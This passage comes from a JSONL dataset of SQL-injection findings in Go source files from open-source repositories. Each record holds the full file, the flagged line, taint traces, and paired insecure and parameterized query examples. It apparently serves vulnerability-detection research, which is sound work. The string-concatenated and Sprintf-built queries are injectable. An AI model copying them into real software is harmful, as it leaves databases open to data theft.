E]) consumeEvent(e E) error {\n\tswitch e.EventType() {\n\tcase CreateEvent:\n\t\ts.impl.onCreateObject(e.Object())\n\tcase DeleteEvent:\n\t\ts.impl.onDeleteObject(e.Object())\n\tcase UpdateEvent:\n\t\ts.impl.onUpdateObject(e.Object())\n\tdefault:\n\t\treturn fmt.Errorf(\"unexpected event type: %v\", e.EventType())\n\t}\n\treturn nil\n}\n\nfunc makeBaseStore[T db.Object, E ObjectEvent[T]](\n\tdbConn *gosql.DB,\n\ttable, eventTable string,\n\timpl baseStoreImpl[T],\n) baseStore[T, E] {\n\treturn baseStore[T, E]{\n\t\tdb: dbConn,\n\t\ttable: table,\n\t\tobjects: db.NewObjectStore[T](\"id\", table, dbConn),\n\t\tevents: db.NewEventStore[E](\"event_id\", eventTable, dbConn),\n\t\timpl: impl,\n\t}\n}", "dangerousExampleEn": "1. func Dan_SQL_Injection(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \terr = DB.QueryRow(\"SELECT * FROM info where Id = '\"+id+\"' and pwd = '\"+pwd+\"';\").Scan(&tmp.ID, &tmp.Pwd)\n7. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n8. \n9. }\nLine 6: This is insecure because an external input value is used in a query statement without proper binding.", "safeExampleEn": "1. func Safe_SQL_Injection1(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \trows, err := DB.QueryContext(c, \"SELECT * FROM info where Id = ? and pwd = ?\", id, pwd)\n7. \n8. err = rows.Scan(&tmp.ID, &tmp.Pwd)\n9. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n10. }\nLine 6: This is secure because the external input value is used in the query statement after proper binding.", "contexts": [{"lineNo": 382, "eventType": "source", "messageKey": "synz.COMMON.branch.false.assumed", "params": {"arg0": "385"}}, {"lineNo": 386, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 386, "eventType": "sink", "messageKey": "gochk.SQL_INJECTION.GO.defect.sink", "params": {}}]}} {"id": "ec3f39fcd4d1cfeff7b45f9576c115f17dbe43eb18757ac55437f548ff7f5c4e", "license": {"spdx": ["Apache-2.0"], "repo": "warmchang/armada", "path": "internal/lookout/repository/job_pruner.go", "repo_head_hexsha": "192666d2742b374a6aafac28fb8af95aa5d25dc4", "stack_hexsha": "de050b726ba3ee2e500e543e8f872ba14cd08446", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "SQL Injection", "issueDescriptionEn": "When code does not validate data entered on a web program and the program integrates with the database, an attacker can inject SQL statements in an input form or URL field to view or manipulate information from the database. A vulnerable web application creates dynamic queries with user input.\nThis can execute unintended queries and cause data leak.\nThe most efficient way to defend against SQL injection attacks is to use predefined static query statements or to bind parameters. When creating query statements that may contain user input, you should use proper binding characters such as `?`, `$`, `:` and so on for the database.", "issueLineNumber": 62, "entireCode": "package repository\n\nimport (\n\t\"context\"\n\t\"database/sql\"\n\t\"fmt\"\n\t\"time\"\n\n\tlog \"github.com/sirupsen/logrus\"\n)\n\nconst postgresFormat = \"2006-01-02 15:04:05.000000\"\n\n// DeleteOldJobs deletes jobs from the database that were submitted before cutoff.\n// The jobs are deleted in batches with the maximum number of jobs being deleted in\n// each batch being given by batchSizeLimit. The tables from which the jobs wil be deleted are:\n// * user_annotation_lookup\n// * job_run_container\n// * job_run\n// * job\n// This function returns nil if the operation succeeded and an error otherwise. Note that\n// For performance reasons we don't use a transaction here and so an error may indicate that\n// Some jobs were deleted.\nfunc DeleteOldJobs(db *sql.DB, batchSizeLimit int, cutoff time.Time) error {\n\n\tctx, cancel := context.WithTimeout(context.Background(), 120*time.Second)\n\tdefer cancel()\n\n\t// This would be much better done as a proper statement with parameters, but postgres doesn't support\n\t// parameters if there are multiple statements.\n\tqueryText := fmt.Sprintf(`\n\t\t\t\tCREATE TEMP TABLE rows_to_delete AS (SELECT job_id FROM job WHERE submitted < '%v');\n\t\t\t\tCREATE TEMP TABLE batch (job_id varchar(32));\n\t\t\t\t\n\t\t\t\tDO\n\t\t\t\t$do$\n\t\t\t\t\tDECLARE\n\t\t\t\t\t\trows_in_batch integer;\n\t\t\t\t\tBEGIN\n\t\t\t\t\t\tLOOP\n\t\t\t\t\t\t\tINSERT INTO batch(job_id) SELECT job_id FROM rows_to_delete LIMIT '%v';\n\t\t\t\t\t\t\tGET DIAGNOSTICS rows_in_batch := ROW_COUNT;\n\t\t\t\t\t\t\tIF rows_in_batch > 0 THEN\n\t\t\t\t\t\t\t\tDELETE FROM user_annotation_lookup WHERE job_id in (SELECT job_id from batch);\n\t\t\t\t\t\t\t\tDELETE FROM job_run_container WHERE run_id in (SELECT run_id from job_run where job_id in (SELECT job_id from batch));\n\t\t\t\t\t\t\t\tDELETE FROM job_run WHERE job_id in (SELECT job_id from batch);\n\t\t\t\t\t\t\t\tDELETE FROM job WHERE job_id in (SELECT job_id from batch);\n\t\t\t\t\t\t\t\tDELETE FROM rows_to_delete WHERE job_id in (SELECT job_id from batch);\n\t\t\t\t\t\t\t\tTRUNCATE TABLE batch;\n\t\t\t\t\t\t\tELSE\n\t\t\t\t\t\tEXIT;\n\t\t\t\t\t\t\tEND IF;\n\t\t\t\t\t\tEND LOOP;\n\t\t\t\t\tEND;\n\t\t\t\t$do$;\n\t\t\t\t\n\t\t\t\tDROP TABLE rows_to_delete;\n\t\t\t\tDROP TABLE batch;\n\t\t\t\t`, cutoff.Format(postgresFormat), batchSizeLimit)\n\n\tlog.Infof(\"Deleting jobs which haven't changed since cutoff=%v, batch size=%v\", cutoff.Format(postgresFormat), batchSizeLimit)\n\t_, err := db.ExecContext(ctx, queryText)\n\tif err == nil {\n\t\tlog.Infof(\"Deleting jobs finished sucessfully\")\n\t} else {\n\t\tlog.Warnf(\"Deleting jobs failed\")\n\t}\n\treturn err\n}", "dangerousExampleEn": "1. func Dan_SQL_Injection(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \terr = DB.QueryRow(\"SELECT * FROM info where Id = '\"+id+\"' and pwd = '\"+pwd+\"';\").Scan(&tmp.ID, &tmp.Pwd)\n7. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n8. \n9. }\nLine 6: This is insecure because an external input value is used in a query statement without proper binding.", "safeExampleEn": "1. func Safe_SQL_Injection1(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \trows, err := DB.QueryContext(c, \"SELECT * FROM info where Id = ? and pwd = ?\", id, pwd)\n7. \n8. err = rows.Scan(&tmp.ID, &tmp.Pwd)\n9. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n10. }\nLine 6: This is secure because the external input value is used in the query statement after proper binding.", "contexts": [{"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 62, "eventType": "sink", "messageKey": "gochk.SQL_INJECTION.GO.defect.sink", "params": {}}]}} {"id": "f0b4898ae726e5355a8ce4618e3d3014bcbbee1d73dc0a193ae5d08ba0db171a", "license": {"spdx": ["Apache-2.0"], "repo": "venkatsridhar95/hera", "path": "tests/mocksqlsrv/samplequeries.go", "repo_head_hexsha": "8b8891cfd56fade4613f5304f61cb7b0792d7c9a", "stack_hexsha": "2e712e82391bf93736ceaff21bf22b1357f27d78", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "SQL Injection", "issueDescriptionEn": "When code does not validate data entered on a web program and the program integrates with the database, an attacker can inject SQL statements in an input form or URL field to view or manipulate information from the database. A vulnerable web application creates dynamic queries with user input.\nThis can execute unintended queries and cause data leak.\nThe most efficient way to defend against SQL injection attacks is to use predefined static query statements or to bind parameters. When creating query statements that may contain user input, you should use proper binding characters such as `?`, `$`, `:` and so on for the database.", "issueLineNumber": 40, "entireCode": "package main\n\n/*\n* Several test queries against mock MySQL server.\n*/\n\n/*=== IMPORTS ================================================================*/\nimport (\n \"database/sql\"\n \"fmt\"\n \"log\"\n \"time\"\n \"context\"\n\n _ \"github.com/go-sql-driver/mysql\"\n)\n\n\n/*=== FUNCTIONS ==============================================================*/\n\n/*\n* logs errors if there is an error.\n*/\nfunc log_error(err error) {\n if err != nil {\n log.Fatal(err)\n }\n}\n\n/* Create a user and grant access permissions. */\nfunc createuser(db *sql.DB, name string, pw string) {\n\n _, err := db.Exec(\"drop user \" + name + \"@localhost;\")\n log_error(err)\n _, err = db.Exec(\"flush privileges;\")\n log_error(err)\n\n stmt := fmt.Sprintf(\"CREATE USER '%s'@'localhost'\" +\n \" IDENTIFIED BY '%s';\", name, pw)\n _, err = db.Exec(stmt)\n log_error(err)\n\n _, err = db.Exec(\"GRANT SELECT ON testdb.* TO '\" + name + \"'@'localhost';\")\n log_error(err)\n}\n\nfunc drop(db *sql.DB, name string) {\n _, err := db.Exec(fmt.Sprintf(\"DROP TABLE IF EXISTS %s;\", name))\n log_error(err)\n}\n\n/* Create a sample table with input name and input schema. */\nfunc table(db *sql.DB, name string, schema string) {\n drop(db, name)\n _, err := db.Exec(fmt.Sprintf(\"CREATE TABLE IF NOT EXISTS \" +\n \"%s (%s);\", name, schema))\n log_error(err)\n}\n\n/* Create a database. Automatically uses the database in the session. */\nfunc createdb(db *sql.DB, name string) {\n _, err := db.Exec(fmt.Sprintf(\"CREATE DATABASE IF NOT EXISTS %s\", name))\n log_error(err)\n _, err = db.Exec(fmt.Sprintf(\"USE %s;\", name))\n log_error(err)\n}\n\n/* Performs select operation from given query. Returns all the rows\n* from the select.\n*/\nfunc selects(db *sql.DB, query string) {\n\n var (\n i1 string\n )\n\n rows, err := db.Query(query)\n log_error(err)\n defer rows.Close()\n for rows.Next() {\n err := rows.Scan(&i1)\n log_error(err)\n fmt.Println(i1)\n }\n err = rows.Err()\n log_error(err)\n}\n\n/* Performs update/insert/delete operations. */\nfunc modify(db *sql.DB, query string) {\n _, err := db.Exec(query)\n log_error(err)\n}\n\n\n/* Sample queries. */\nfunc main() {\n fmt.Println(\"Running full test.\")\n\n // Root user access to DB to start connection testing.\n DSN := \"root:hocctest@tcp(localhost:3333)/\"\n db, err := sql.Open(\"mysql\", DSN)\n log_error(err)\n defer db.Close()\n\n // Create a new user.\n user := \"test_user\"\n pw := \"\"\n createuser(db, user, pw)\n fmt.Println(\"Created new test_user.\")\n\n // Create a new db.\n dbname := \"testdb\"\n createdb(db, dbname)\n fmt.Println(\"Created database testdb.\")\n\n // Create a new table.\n schema := \"i1 INT DEFAULT 0, i2 INT, i3 INT, dscr VARCHAR(255)\"\n table(db, \"tb\", schema)\n fmt.Println(fmt.Sprintf(\"Created table tb with schema (%s).\", schema))\n\n // Test inserts.\n fmt.Println(\"Inserting into table tb...\")\n modify(db, \"INSERT INTO tb VALUES ('2');\")\n modify(db, \"INSERT INTO tb VALUES ('beepbeepboopboop')\")\n\n fmt.Println(\"Updating table tb...\")\n // Test updates.\n modify(db, \"UPDATE tb SET dscr = '0' WHERE i1 = 1\")\n\n disp := \"SELECT * FROM tb WHERE i1 = ?\"\n // Test selects.\n selects(db, disp)\n\n ctx, _ /*cancel*/ := context.WithTimeout(context.Background(), 10*time.Second)\n // ctx := context.Background()\n\tconn, err := db.Conn(ctx)\n\n stmt, err := conn.PrepareContext(ctx, \"select @@global.read_only\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n _, err = stmt.Query()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n fmt.Println(\"Deleting from table tb...\")\n // Test deletes.\n modify(db, \"DELETE FROM tb WHERE i2 = 3\")\n\n // Shutdown database\n fmt.Println(\"Testing complete.\")\n db.Exec(\"QUIT;\")\n}", "dangerousExampleEn": "1. func Dan_SQL_Injection(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \terr = DB.QueryRow(\"SELECT * FROM info where Id = '\"+id+\"' and pwd = '\"+pwd+\"';\").Scan(&tmp.ID, &tmp.Pwd)\n7. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n8. \n9. }\nLine 6: This is insecure because an external input value is used in a query statement without proper binding.", "safeExampleEn": "1. func Safe_SQL_Injection1(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \trows, err := DB.QueryContext(c, \"SELECT * FROM info where Id = ? and pwd = ?\", id, pwd)\n7. \n8. err = rows.Scan(&tmp.ID, &tmp.Pwd)\n9. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n10. }\nLine 6: This is secure because the external input value is used in the query statement after proper binding.", "contexts": [{"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 40, "eventType": "sink", "messageKey": "gochk.SQL_INJECTION.GO.defect.sink", "params": {}}]}} {"id": "e4de476ae287e7b7d4c8606b7a06786f3a263e4f2b2ac4d3b2a82aee1903d385", "license": {"spdx": ["MIT"], "repo": "jealone/gosql", "path": "v2/cluster_test.go", "repo_head_hexsha": "23f07f0096d737d3cec210b131eef5018db83495", "stack_hexsha": "26ada7fc6da69d035a0944a2881d9c11664d3e15", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "SQL Injection", "issueDescriptionEn": "When code does not validate data entered on a web program and the program integrates with the database, an attacker can inject SQL statements in an input form or URL field to view or manipulate information from the database. A vulnerable web application creates dynamic queries with user input.\nThis can execute unintended queries and cause data leak.\nThe most efficient way to defend against SQL injection attacks is to use predefined static query statements or to bind parameters. When creating query statements that may contain user input, you should use proper binding characters such as `?`, `$`, `:` and so on for the database.", "issueLineNumber": 56, "entireCode": "package gosql\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n\n\t//\"fmt\"\n\t\"testing\"\n)\n\nfunc TestNewCluster(t *testing.T) {\n\n\ttype args struct {\n\t\tconf *Config\n\t}\n\n\tc, err := ParseYamlConfigFile(\"config/demo.yml\")\n\n\tif nil != err {\n\t\tt.Fatalf(\"config error %s\", err)\n\t}\n\n\ttests := []struct {\n\t\tname string\n\t\targs args\n\t}{\n\t\t{\n\t\t\tname: \"normal\",\n\t\t\targs: args{\n\t\t\t\tconf: NewConfig(c),\n\t\t\t},\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tvar (\n\t\t\tid int\n\t\t\ttest string\n\t\t)\n\t\tt.Run(tt.name, func(t *testing.T) {\n\n\t\t\tcluster, err := NewCluster(tt.args.conf, func(db *sql.DB, handler DBHandler, partition TablePartition) {\n\t\t\t\terr := handler(db, partition)\n\t\t\t\tif nil != err {\n\t\t\t\t\tt.Errorf(\"query error %s\\n\", err)\n\t\t\t\t}\n\n\t\t\t})\n\t\t\tif nil != err {\n\t\t\t\tt.Fatalf(\"new cluster error : %s\", err)\n\t\t\t}\n\n\t\t\tcluster.Read(func(db *sql.DB, partition TablePartition) error {\n\t\t\t\ttable := partition.Select([]byte(\"test\"), \"test\")\n\n\t\t\t\trow := db.QueryRow(fmt.Sprintf(\"SELECT * FROM %s\", table))\n\t\t\t\treturn row.Scan(&id, &test)\n\n\t\t\t})\n\t\t\t//fmt.Println(id, test)\n\t\t})\n\t}\n\n}", "dangerousExampleEn": "1. func Dan_SQL_Injection(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \terr = DB.QueryRow(\"SELECT * FROM info where Id = '\"+id+\"' and pwd = '\"+pwd+\"';\").Scan(&tmp.ID, &tmp.Pwd)\n7. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n8. \n9. }\nLine 6: This is insecure because an external input value is used in a query statement without proper binding.", "safeExampleEn": "1. func Safe_SQL_Injection1(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \trows, err := DB.QueryContext(c, \"SELECT * FROM info where Id = ? and pwd = ?\", id, pwd)\n7. \n8. err = rows.Scan(&tmp.ID, &tmp.Pwd)\n9. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n10. }\nLine 6: This is secure because the external input value is used in the query statement after proper binding.", "contexts": [{"lineNo": 56, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 56, "eventType": "sink", "messageKey": "gochk.SQL_INJECTION.GO.defect.sink", "params": {}}]}} {"id": "5d235682acd1d1cbfeceab77f2c74fe2d5746cd6f9284a430d0558087ce77b1f", "license": {"spdx": ["Apache-2.0"], "repo": "u5surf/gonymizer", "path": "db_client.go", "repo_head_hexsha": "d7dd310230d706d933bb226f9bd1de6c4f13b7d6", "stack_hexsha": "c09e59ad26caa7faeb5bbd5b8c93a48a3d180a23", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "SQL Injection", "issueDescriptionEn": "When code does not validate data entered on a web program and the program integrates with the database, an attacker can inject SQL statements in an input form or URL field to view or manipulate information from the database. A vulnerable web application creates dynamic queries with user input.\nThis can execute unintended queries and cause data leak.\nThe most efficient way to defend against SQL injection attacks is to use predefined static query statements or to bind parameters. When creating query statements that may contain user input, you should use proper binding characters such as `?`, `$`, `:` and so on for the database.", "issueLineNumber": 356, "entireCode": "package gonymizer\n\nimport (\n\t\"database/sql\"\n\t\"errors\"\n\t\"fmt\"\n\t\"github.com/lib/pq\"\n\tlog \"github.com/sirupsen/logrus\"\n\t\"strings\"\n)\n\n// RowCounts is used to keep track of the number of rows for a given schema and table.\ntype RowCounts struct {\n\tSchemaName *string\n\tTableName *string\n\tCount *int\n}\n\n// CheckIfDbExists checks to see if the database exists using the provided db connection.\nfunc CheckIfDbExists(db *sql.DB, dbName string) (exists bool, err error) {\n\ts := \"SELECT exists(SELECT datname FROM pg_catalog.pg_database WHERE lower(datname) = lower($1));\"\n\trow := db.QueryRow(s, dbName)\n\t_ = row.Scan(&exists)\n\tlog.Debugf(\"Exists: %t\", exists)\n\treturn exists, err\n}\n\n// GetAllProceduresInSchema will return all procedures for the given schemas in SQL form.\nfunc GetAllProceduresInSchema(conf PGConfig, schema string) ([]string, error) {\n\tvar (\n\t\trows *sql.Rows\n\t\tprocedures []string\n\t)\n\tdb, err := OpenDB(conf)\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn nil, err\n\t}\n\tdefer db.Close()\n\n\trows, err = db.Query(`\n\t\tSELECT pg_get_functiondef(f.oid)\n\t\tFROM pg_catalog.pg_proc f\n\t\tINNER JOIN pg_catalog.pg_namespace n ON (f.pronamespace = n.oid)\n\t\tWHERE n.nspname = $1`, schema)\n\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\n\tfor {\n\t\tvar procedure string\n\t\tfor rows.Next() {\n\t\t\t_ = rows.Scan(&procedure)\n\t\t\tprocedures = append(procedures, procedure)\n\t\t}\n\n\t\tif !rows.NextResultSet() {\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn procedures, nil\n}\n\n// GetAllSchemaColumns will return a row pointer to a list of table and column names for the given database connection.\nfunc GetAllSchemaColumns(db *sql.DB) (*sql.Rows, error) {\n\tquery := `\n\t\t\tSELECT table_catalog, table_schema, table_name, column_name, data_type, ordinal_position,\n\t\t\tCASE\n\t\t\t WHEN is_nullable = 'YES' THEN\n\t\t\t TRUE\n WHEN is_nullable = 'NO' THEN\n FALSE\n\t\t\t\t\tEND AS is_nullable\n\t\t\tFROM information_schema.columns\n\t\t\tWHERE table_schema NOT IN ('information_schema', 'pg_catalog')\n\t\t\tORDER BY table_schema, table_name, ordinal_position\n\t`\n\trows, err := db.Query(query)\n\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn nil, err\n\t}\n\treturn rows, nil\n}\n\n// GetAllTablesInSchema will return a list of database tables for a given database configuration.\nfunc GetAllTablesInSchema(conf PGConfig, schema string) ([]string, error) {\n\tvar (\n\t\trows *sql.Rows\n\t\ttableNames []string\n\t)\n\n\tdb, err := OpenDB(conf)\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn nil, err\n\t}\n\tdefer db.Close()\n\n\t// Set default to the public schema\n\tif len(schema) < 1 {\n\t\tschema = \"public\"\n\t}\n\n\trows, err = db.Query(`\n\tSELECT table_name\n\tFROM information_schema.tables\n\tWHERE table_schema = $1`,\n\t\tschema,\n\t)\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn nil, err\n\t}\n\n\tdefer rows.Close()\n\n\tfor {\n\t\tvar tableName string\n\t\tfor rows.Next() {\n\t\t\t_ = rows.Scan(&tableName)\n\n\t\t\ttableNames = append(tableNames, tableName)\n\t\t}\n\n\t\tif !rows.NextResultSet() {\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn tableNames, nil\n}\n\n// GetSchemasInDatabase returns a list of schemas for a given database configuration. If an excludeSchemas list is\n// provided GetSchemasInDatabase will leave them out of the returned list of schemas.\nfunc GetSchemasInDatabase(conf PGConfig, excludeSchemas []string) ([]string, error) {\n\tvar (\n\t\trows *sql.Rows\n\t\tincludedSchemas []string\n\t)\n\n\tdb, err := OpenDB(conf)\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn nil, err\n\t}\n\n\trows, err = db.Query(`\n\t\tSELECT schema_name\n\t\tFROM information_schema.schemata\n\t\tWHERE schema_name NOT IN ($1)`, pq.Array(excludeSchemas))\n\n\tif err != nil {\n\t\tlog.Error(\"Query IN clause: \")\n\t\tlog.Error(err)\n\t\treturn nil, err\n\t}\n\n\tfor {\n\t\tvar schema string\n\t\tfor rows.Next() {\n\t\t\tfound := false\n\t\t\t_ = rows.Scan(&schema)\n\t\t\tfor _, ecs := range excludeSchemas {\n\t\t\t\tif ecs == schema {\n\t\t\t\t\tfound = true\n\t\t\t\t}\n\t\t\t}\n\t\t\tif !found {\n\t\t\t\tincludedSchemas = append(includedSchemas, schema)\n\t\t\t}\n\t\t}\n\n\t\t// Loop until the resulting set is compelete\n\t\tif !rows.NextResultSet() {\n\t\t\treturn includedSchemas, db.Close()\n\t\t}\n\t}\n}\n\n// GetSchemaColumnEquals returns a pointer to a list of database rows containing the names of tables and columns for\n// the provided schema (using the SQL equals operator).\nfunc GetSchemaColumnEquals(db *sql.DB, schema string) (*sql.Rows, error) {\n\trows, err := db.Query(`\n\tSELECT table_catalog, table_schema, table_name, column_name, data_type, ordinal_position, \n\t\t\tCASE\n\t\t\t WHEN is_nullable = 'YES' THEN\n\t\t\t TRUE\n WHEN is_nullable = 'NO' THEN\n FALSE\n\t\t\t\t\tEND AS is_nullable\n\tFROM information_schema.columns\n\tWHERE table_schema = $1\n\tORDER BY table_schema, table_name, ordinal_position`, schema)\n\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn nil, err\n\t}\n\treturn rows, nil\n}\n\n// GetSchemaColumnsLike will return a pointer to a list of database rows containing the names of tables and columns for\n// the provided schema (using the SQL LIKE operator).\nfunc GetSchemaColumnsLike(db *sql.DB, schemaPrefix string) (*sql.Rows, error) {\n\tvar selectedSchema string\n\n\t// NOTE: Since we are grabbing a schema that matches the schemaPrefix we will assume UNIFORMITY in the DDL across all\n\t// tables in each schema that match the prefix. Following this requirement, we can assume that we only need to grab a\n\t// single schema that matches the prefix and use it as the map for all schemas that match the schemaPrefix.\n\terr := db.QueryRow(\"SELECT table_schema FROM information_schema.columns WHERE table_schema LIKE $1 LIMIT 1\",\n\t\tschemaPrefix+\"%\").Scan(&selectedSchema)\n\tswitch err {\n\tcase sql.ErrNoRows:\n\t\tfmt.Println(\"No rows were returned!\")\n\tcase nil:\n\t\tbreak\n\tdefault:\n\t\tpanic(err)\n\t}\n\n\t// Now grab all the columns from this schema\n\trows, err := db.Query(`\n\t\t\tSELECT table_catalog, table_schema, table_name, column_name, data_type, ordinal_position, \n\t\t\tCASE\n\t\t\t WHEN is_nullable = 'YES' THEN\n\t\t\t TRUE\n WHEN is_nullable = 'NO' THEN\n FALSE\n\t\t\t\t\tEND AS is_nullable\n\t\t\tFROM information_schema.columns\n\t\t\tWHERE table_schema = $1\n\t\t\tORDER BY table_schema, table_name, ordinal_position`, selectedSchema)\n\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn nil, err\n\t}\n\treturn rows, nil\n\n}\n\n// GetTableRowCountsInDB collects the number of rows for each table in the given supplied schema prefix and will not\n// include any of the tables listed in the excludeTable list. Returns a list of tables the number of rows for each.\nfunc GetTableRowCountsInDB(conf PGConfig, schemaPrefix string, excludeTable []string) (*[]RowCounts, error) {\n\tvar (\n\t\trows *sql.Rows\n\t\tdbRowCounts []RowCounts\n\t)\n\n\tdb, err := OpenDB(conf)\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn nil, err\n\t}\n\tdefer db.Close()\n\n\t// Get a list of all schemas + tables in the database (excluding excludeTable)\n\tquery := `\n\t\tSELECT schemaname, tablename\n\t\tFROM pg_catalog.pg_tables\n\t\tWHERE schemaname NOT LIKE 'pg_%'\n\t\t\tAND schemaname != 'information_schema'\n\t`\n\tif len(excludeTable) > 0 {\n\t\tquery += \" AND tablename NOT IN ($1)\"\n\t\tquery += \"\\n ORDER BY schemaname, tablename;\"\n\t\trows, err = db.Query(query, pq.Array(excludeTable))\n\t} else {\n\t\tquery += \" ORDER BY schemaname, tablename;\"\n\t\trows, err = db.Query(query)\n\n\t}\n\n\tif err != nil {\n\t\treturn nil, err\n\t} else if rows == nil {\n\t\treturn nil, errors.New(\"Returned 0 tables in \" + conf.DefaultDBName + \".\")\n\t}\n\n\t// Build array string to pass into query (Injection Safe)\n\t// See: https://groups.google.com/forum/#!msg/golang-nuts/vHbg09g7s2I/RKU7XsO25SIJ\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfor {\n\t\tfor rows.Next() {\n\t\t\tvar (\n\t\t\t\tschemaName string\n\t\t\t\ttableName string\n\t\t\t\tcount int\n\t\t\t\texclude bool\n\t\t\t)\n\t\t\tcount = 0\n\t\t\texclude = false\n\n\t\t\t_ = rows.Scan(&schemaName, &tableName)\n\n\t\t\t// Search exclude list to see if schema + table are in it. if so skip them\n\t\t\t//TODO: Refactor this to use efficent search (key lookups are possible)\n\t\t\tfor _, e := range excludeTable {\n\t\t\t\ts := strings.Split(e, \".\")\n\t\t\t\tif len(schemaPrefix) > 0 && strings.HasPrefix(s[0], schemaPrefix) && s[1] == tableName {\n\t\t\t\t\texclude = true\n\t\t\t\t\tbreak\n\t\t\t\t} else if schemaName == s[0] && tableName == s[1] {\n\t\t\t\t\texclude = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif !exclude {\n\t\t\t\tdbRowCounts = append(dbRowCounts, RowCounts{SchemaName: &schemaName, TableName: &tableName, Count: &count})\n\t\t\t}\n\t\t}\n\t\tif !rows.NextResultSet() {\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// Luckily Postgres is smart and does not blow away cache for a\n\t// simple Count(*). See -> https://stackoverflow.com/questions/37097736/understanding-postgres-caching\n\tfor _, row := range dbRowCounts {\n\t\tquery := fmt.Sprintf(\"SELECT COUNT(*) FROM %s.%s;\", *row.SchemaName, *row.TableName)\n\t\tif err := db.QueryRow(query).Scan(row.Count); err != nil {\n\t\t\tlog.Error(err)\n\t\t}\n\t}\n\treturn &dbRowCounts, err\n}\n\n// KillDatabaseConnections will kill all connections to the provided database name.\nfunc KillDatabaseConnections(db *sql.DB, dbName string) (err error) {\n\tvar success string\n\n\tquery := `\n\tSELECT pg_terminate_backend(pid) \n\tFROM pg_stat_activity \n\tWHERE pid != pg_backend_pid()\n\t\tAND datname = $1;`\n\n\terr = db.QueryRow(query, dbName).Scan(&success)\n\tif err != nil {\n\t\tlog.Error(err)\n\t}\n\tlog.Debug(\"Success: \", success)\n\treturn err\n}\n\n// RenameDatabase will rename a database using the fromName to the toName.\nfunc RenameDatabase(db *sql.DB, fromName, toName string) (err error) {\n\t_, err = db.Exec(fmt.Sprintf(\"ALTER DATABASE %s RENAME TO %s\", fromName, toName))\n\tif err != nil {\n\t\tlog.Errorf(\"Unable to rename database '%s' -> '%s'\", fromName, toName)\n\t\tlog.Error(err)\n\t\treturn err\n\t}\n\treturn err\n}", "dangerousExampleEn": "1. func Dan_SQL_Injection(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \terr = DB.QueryRow(\"SELECT * FROM info where Id = '\"+id+\"' and pwd = '\"+pwd+\"';\").Scan(&tmp.ID, &tmp.Pwd)\n7. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n8. \n9. }\nLine 6: This is insecure because an external input value is used in a query statement without proper binding.", "safeExampleEn": "1. func Safe_SQL_Injection1(c *gin.Context) {\n2. \tid := 